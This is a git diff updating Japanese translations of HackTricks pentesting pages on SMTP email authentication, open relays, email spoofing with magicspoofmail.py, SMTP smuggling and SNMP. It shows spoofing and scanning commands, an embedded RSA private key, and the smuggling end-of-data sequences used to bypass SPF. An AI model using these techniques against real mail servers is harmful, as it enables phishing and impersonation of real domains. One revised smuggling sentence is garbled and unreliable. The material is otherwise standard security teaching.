+| PTR | クライアントのアドレスのためのドメイン名(PTRレコード)が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合(フォワード確認逆引きDNS)、一致します。このメカニズムは非推奨であり、可能な限り避けるべきです。 |
+| EXISTS | 指定されたドメイン名がどのアドレスに解決されても一致します。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリなどのより複雑な一致が提供されます。 |
| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが合格した場合、このメカニズムが合格します。ただし、含まれるポリシーが失敗した場合、処理は続行されます。別のドメインのポリシーに完全に委任するには、リダイレクト拡張機能を使用する必要があります。 |
| REDIRECT | リダイレクトは、SPFポリシーをホストする別のドメイン名を指すポインターであり、複数のドメインが同じSPFポリシーを共有できるようにします。大量のドメインで同じメールインフラストラクチャを共有する場合に便利です。
リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。
|
@@ -296,11 +303,11 @@ SPFは2014年に「非推奨」となりました。これは、`_spf.domain.com
ポリシー内の各メカニズムは、意図された結果を定義するために、次の4つのクオリファイアのいずれかで接頭辞を付けることができます:
* **`+`**: PASS結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを想定しており、`+mx`は`mx`と同等です。
-* **`?`**: NEUTRAL結果を表し、特定のポリシーがない場合と同様に扱われます。
+* **`?`**: NEUTRAL結果を表し、通常はNONE(特定のポリシーなし)と同様に扱われます。
* **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間地点として機能します。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
-* **`-`**: FAILを示し、メールを断固として拒否すべきことを示します。
+* **`-`**: FAILを示し、メールを断固として拒否すべきであることを示します。
-次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内で異なるドメインのSPFポリシーを含めることに注意してください:
+次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内で異なるドメインのSPFポリシーが含まれていることに注意してください:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
@@ -319,7 +326,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
-伝統的には、正しい/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。**現在では**、**有効なSPFレコードのないドメインからの電子メール**はおそらく**自動的に拒否/信頼されないとマークされる**でしょう。
+伝統的には、正しい/存在しないSPFレコードを持たないドメイン名をスプーフィングすることが可能でした。**現在では**、**有効なSPFレコードのないドメインからの電子メール**はおそらく**自動的に拒否される/信頼されないとマークされる可能性があります**。
ドメインのSPFをチェックするには、[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)のようなオンラインツールを使用できます。
@@ -337,7 +344,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
-DMARCは、SPFとDKIMプロトコルを基にして電子メールのセキュリティを強化します。特定のドメインからの電子メールの取り扱いについてのポリシーを概説し、認証の失敗に対処する方法や電子メール処理アクションに関するレポートを送信する場所を指示します。
+DMARCは、SPFとDKIMプロトコルを基にして電子メールのセキュリティを強化します。特定のドメインからの電子メールの取り扱いに関するポリシーを概説し、認証の失敗に対処する方法や電子メール処理アクションに関するレポートを送信する場所を指示します。
**DMARCレコードを取得するには、サブドメイン\_dmarcをクエリする必要があります**
```bash
@@ -359,7 +366,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | --------------------------------------------- | ------------------------------- |
| v | プロトコルバージョン | v=DMARC1 |
| pct | フィルタリングされるメッセージの割合 | pct=20 |
-| ruf | 法的レポートのための報告URI | ruf=mailto:authfail@example.com |
+| ruf | 法的報告用の報告URI | ruf=mailto:authfail@example.com |
| rua | 集計レポートの報告URI | rua=mailto:aggrep@example.com |
| p | 組織ドメインのポリシー | p=quarantine |
| sp | ODのサブドメインのポリシー | sp=reject |
@@ -368,13 +375,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **サブドメインについては?**
-**こちら**から。\
-送信元の各サブドメインには、それぞれ別々のSPFレコードが必要です。\
-以下は、元々openspf.orgに投稿されたもので、この種の情報には非常に役立つリソースでした。
+**[こちら](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**から。\
+送信元のメールアドレスに対して、それぞれのサブドメインごとに独自のSPFレコードを持つ必要があります。\
+以下は元々openspf.orgに投稿されたもので、この種の情報には非常に役立つリソースでした。
> デーモンの質問:サブドメインについてはどうですか?
>
-> pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukに戻ってdemon.co.ukのSPFをテストすべきですか?いいえ。Demonの各サブドメインは異なる顧客であり、各顧客には独自のポリシーがあるかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインに対してSPFレコードを設定できます。
+> pielovers.demon.co.ukからメールを受け取った場合、pieloversに対するSPFデータがない場合、demon.co.ukのSPFをテストすべきですか?いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っているかもしれません。Demonのポリシーがデフォルトですべての顧客に適用されるのは意味がありません。Demonがそれを行いたい場合は、各サブドメインのためにSPFレコードを設定できます。
>
> したがって、SPFパブリッシャーへのアドバイスは次のとおりです:AレコードまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
@@ -382,13 +389,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **オープンリレー**
-電子メールを送信する際、スパムとしてフラグ付けされないようにすることは重要です。これは、**受信者に信頼されるリレーサーバー**を使用して実現されることがよくあります。ただし、一般的な課題は、管理者が**どのIP範囲を許可するのが安全か完全に把握していない**可能性があります。この理解の欠如は、SMTPサーバーの設定に誤りを引き起こす可能性があり、セキュリティアセスメントで頻繁に特定されるリスクです。
+電子メールを送信する際、スパムとしてフラグ付けされないようにすることは非常に重要です。これは、**受信者に信頼されるリレーサーバー**を使用して実現されることがよくあります。ただし、一般的な課題は、管理者が**どのIP範囲を許可するのが安全か完全に把握していない**可能性があります。この理解の欠如は、SMTPサーバーの設定に誤りを引き起こす可能性があり、セキュリティアセスメントで頻繁に特定されるリスクです。
-特に潜在的な顧客や既存の顧客とのコミュニケーションに関する電子メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可する**ことです。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
+特に潜在的な顧客や既存の顧客とのコミュニケーションに関する電子メール配信の問題を回避するために、一部の管理者が使用する回避策は、**どのIPアドレスからの接続も許可する**ことです。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
```bash
mynetworks = 0.0.0.0/0
```
-以下は、メールサーバーがオープンリレーであるかどうかをチェックするために一般的に使用される`nmap`ツールについてです。これには、このテストを行うために設計された特定のスクリプトが含まれています。`nmap`を使用して、サーバー(例:IP 10.10.10.10)のポート25で詳細なスキャンを実行するコマンドは次の通りです:
+以下は、メールサーバーがオープンリレーであるかどうかをチェックするために一般的に使用される`nmap`ツールについてです。これには、このテストを行うために設計された特定のスクリプトが含まれています。`nmap`を使用して、例えばIPが10.10.10.10のポート25でサーバーに対して詳細なスキャンを実行するコマンドは次の通りです:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@@ -413,8 +420,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
-dkim pythonライブラリを使用している際にエラーが発生した場合は、以下のものを使用しても構いません。\
-**注意**: これは、何らかの理由でopensslの秘密鍵がdkimによって解析できない場合に、迅速なチェックを行うための一時的な修正です。
+dkim pythonライブラリを使用している際にエラーが発生した場合は、次のものを使用しても構いません。\
+**注意**: これは、何らかの理由でopensslの秘密鍵がdkimによって解析できない場合に、素早くチェックを行うための一時的な修正です。
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
@@ -499,26 +506,33 @@ smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
+{% endtab %}
+{% endtabs %}
+
+### **詳細情報**
+
+**これらの保護に関する詳細情報は、**[**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で見つけることができます。**
+
### **その他のフィッシング指標**
* ドメインの年齢
* IPアドレスを指すリンク
* リンク操作技術
* 疑わしい(一般的でない)添付ファイル
-* メールコンテンツの破損
+* 壊れた電子メールコンテンツ
* メールヘッダーと異なる値の使用
-* 有効で信頼できるSSL証明書の存在
-* ページのウェブコンテンツフィルタリングサイトへの提出
+* 有効で信頼されたSSL証明書の存在
+* ページのWebコンテンツフィルタリングサイトへの提出
-## SMTPを介した情報漏洩
+## SMTPを介した情報の持ち出し
-**SMTPを介してデータを送信できる場合は**[**こちらを参照**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
+**SMTPを介してデータを送信できる場合は、**[**こちらを参照してください**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
## 設定ファイル
### Postfix
-通常、インストールされている場合、`/etc/postfix/master.cf`には、例えばユーザーが新しいメールを受信したときに実行される**スクリプト**が含まれています。たとえば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
+通常、インストールされている場合、`/etc/postfix/master.cf`には、例えば新しいメールがユーザーによって受信されたときに実行される**スクリプト**が含まれています。たとえば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
その他の設定ファイル:
```
@@ -581,9 +595,9 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出、およびエクスプロイトモジュールを開発します。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
@@ -594,9 +608,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md
index f888aaf77..c0f1a4683 100644
--- a/network-services-pentesting/pentesting-smtp/smtp-commands.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md
@@ -7,23 +7,23 @@
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
+* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
-
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。これらは、レコンからレポート作成までをカバーしています。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらいます。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %}
**コマンド元:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\
-これは最初のSMTPコマンドです。送信元サーバーを識別し、通常はそのドメイン名が続きます。
+これは最初のSMTPコマンドです:送信元サーバーを識別し、通常はそのドメイン名が続きます。
**EHLO**\
会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。
@@ -35,35 +35,35 @@ HackTricks をサポートする他の方法:
メールの受信者を識別します。複数いる場合は、コマンドを単にアドレスごとに繰り返します。
**SIZE**\
-このSMTPコマンドは、添付されたメールの推定サイズ(バイト単位)についてリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するために使用することもできます。
+このSMTPコマンドは、添付メールの推定サイズ(バイト単位)についてリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するために使用することもできます。
**DATA**\
-DATAコマンドを使用すると、メールの内容が転送され始めます。通常、サーバーから与えられる354の応答コードに続いて、実際の転送を開始する許可が与えられます。
+DATAコマンドでは、メールの内容が転送され始めます。通常、サーバーから与えられる354の応答コードに続いて、実際の転送を開始する許可が与えられます。
**VRFY**\
-特定のメールアドレスやユーザー名が実際に存在するかどうかを確認するようにサーバーに要求します。
+特定のメールアドレスまたはユーザー名が実際に存在するかどうかを確認するようにサーバーに要求します。
**TURN**\
このコマンドは、新しい接続を実行する必要なしに、クライアントとサーバーの役割を逆転させるために使用されます。
**AUTH**\
-AUTHコマンドを使用すると、クライアントはユーザー名とパスワードを提供してサーバーに認証します。これは、適切な転送を保証するためのセキュリティの追加レイヤーです。
+AUTHコマンドを使用すると、クライアントはユーザー名とパスワードを提供してサーバーに認証します。適切な転送を保証するためのセキュリティの別のレイヤーです。
**RSET**\
-進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は閉じられません(QUITの場合とは異なり)。
+進行中のメール転送が終了することをサーバーに通知し、ただしSMTP会話は閉じられません(QUITの場合とは異なり)。
**EXPN**\
このSMTPコマンドは、メーリングリストの識別について確認を求めます。
**HELP**\
-これは、メールの成功した転送のために役立つ情報をクライアントがリクエストするものです。
+メールの成功した転送のために役立つ情報をクライアントがリクエストするものです。
**QUIT**\
SMTP会話を終了します。
-
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。これらは、レコンからレポート作成までをカバーしています。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらいます。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %}
@@ -74,9 +74,9 @@ SMTP会話を終了します。
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
+* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
index 803961831..fc6d663bf 100644
--- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
@@ -6,39 +6,39 @@
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
+- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
## 基本情報
-この種の脆弱性は、[**この投稿で最初に発見されました**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)。SMTPプロトコルの解釈に不一致があることを悪用することで、攻撃者が合法的なメールの本文にさらに多くのメールを密輸し、SPFなどの防御をバイパスして、影響を受けるドメインの他のユーザー(たとえばadmin@outlook.com)をなりすますことが可能です。
+この種の脆弱性は、[**この投稿で最初に発見されました**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)。SMTPプロトコルの解釈に不一致がある場合、攻撃者は電子メールを終了する際にSMTPプロトコルの解釈に不一致がある場合、攻撃者は本物の電子メールの本文にさらに多くの電子メールを密輸することができ、影響を受けたドメインの他のユーザー(たとえばadmin@outlook.com)を偽装することができます。SPFなどの防御をバイパスします。
### 理由
-SMTPプロトコルでは、メールで送信されるメッセージのデータは、ユーザー(攻撃者)によって制御されます。これにより、受信者に追加のメールを密輸するためのパーサーの違いを悪用する特別に作成されたデータを送信できます。元の投稿からのこのイラスト付きの例をご覧ください:
+これは、SMTPプロトコルでは、電子メールで送信されるメッセージのデータがユーザー(攻撃者)によって制御されるため、受信者に追加の電子メールを密輸するパーサーの違いを悪用する特別に作成されたデータを送信できる可能性があるためです。元の投稿からのこのイラスト付きの例をご覧ください:
-
+
### 方法
-この脆弱性を悪用するには、攻撃者は**アウトバウンドSMTPサーバーが1つのメールだと思うデータを送信する必要がありますが、インバウンドSMTPサーバーは複数のメールがあると考える必要があります**。
+この脆弱性を悪用するには、攻撃者は**アウトバウンドSMTPサーバーが1つの電子メールだと思うデータを送信する必要があり、インバウンドSMTPサーバーは複数の電子メールがあると考える必要があります**。
-研究者たちは、**インバウンドサーバーがメールメッセージのデータの終わりとして異なる文字を考慮していることを発見しました**。\
-たとえば、通常のデータの終わりは`\r\n.\r\n`です。しかし、インバウンドSMTPサーバーが`\n.\n`もサポートしている場合、攻撃者は単に**そのデータを自分のメールに追加し、新しいSMTPコマンド**を示し始めることで、前述のイメージのようにそれを密輸することができます。
+研究者たちは、**インバウンドサーバーが電子メールメッセージのデータの終わりとして異なる文字を考慮していることを発見しました**。\
+たとえば、通常のデータの終わりは`\r\n.\r\n`です。しかし、インバウンドSMTPサーバーが`\n.\n`もサポートしている場合、攻撃者は単に**そのデータを電子メールに追加し、新しいSMTPコマンドを示す**ことで、前述の画像のようにそれを密輸することができます。
-もちろん、これは**アウトバウンドSMTPサーバーもこのデータをメッセージデータの終わりとして扱わない**場合にのみ機能します。そうでない場合、1つの代わりに2つのメールが表示されるため、最終的にはこの脆弱性で悪用されているデシンクロナイゼーションです。
+もちろん、これは、**アウトバウンドSMTPサーバーもこのデータをメッセージデータの終わりとして扱わない**場合にのみ機能します。そうでない場合、1つではなく2つの電子メールが表示されるため、最終的にはこの脆弱性で悪用されているデシンクロナイゼーションです。
潜在的なデシンクロナイゼーションデータ:
- `\n.\n`
- `\n.\r\n`
-また、SPFがバイパスされることに注意してください。`admin@outlook.com`からのメールを`user@outlook.com`からのメールに密輸すると、**送信者は依然として`outlook.com`です。**
+また、SPFがバイパスされることに注意してください。`admin@outlook.com`から`user@outlook.com`の電子メールを密輸すると、**送信者は依然として`outlook.com`です**。
## **参考文献**
@@ -50,10 +50,10 @@ SMTPプロトコルでは、メールで送信されるメッセージのデー
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
+- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index 32b1a1f63..fa89efb2a 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -6,42 +6,44 @@
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
+- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
-
+
-**SNMP - Simple Network Management Protocol**は、ネットワーク内の異なるデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。
+**基本情報**
+
+**SNMP - Simple Network Management Protocol**は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。
```
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
{% hint style="info" %}
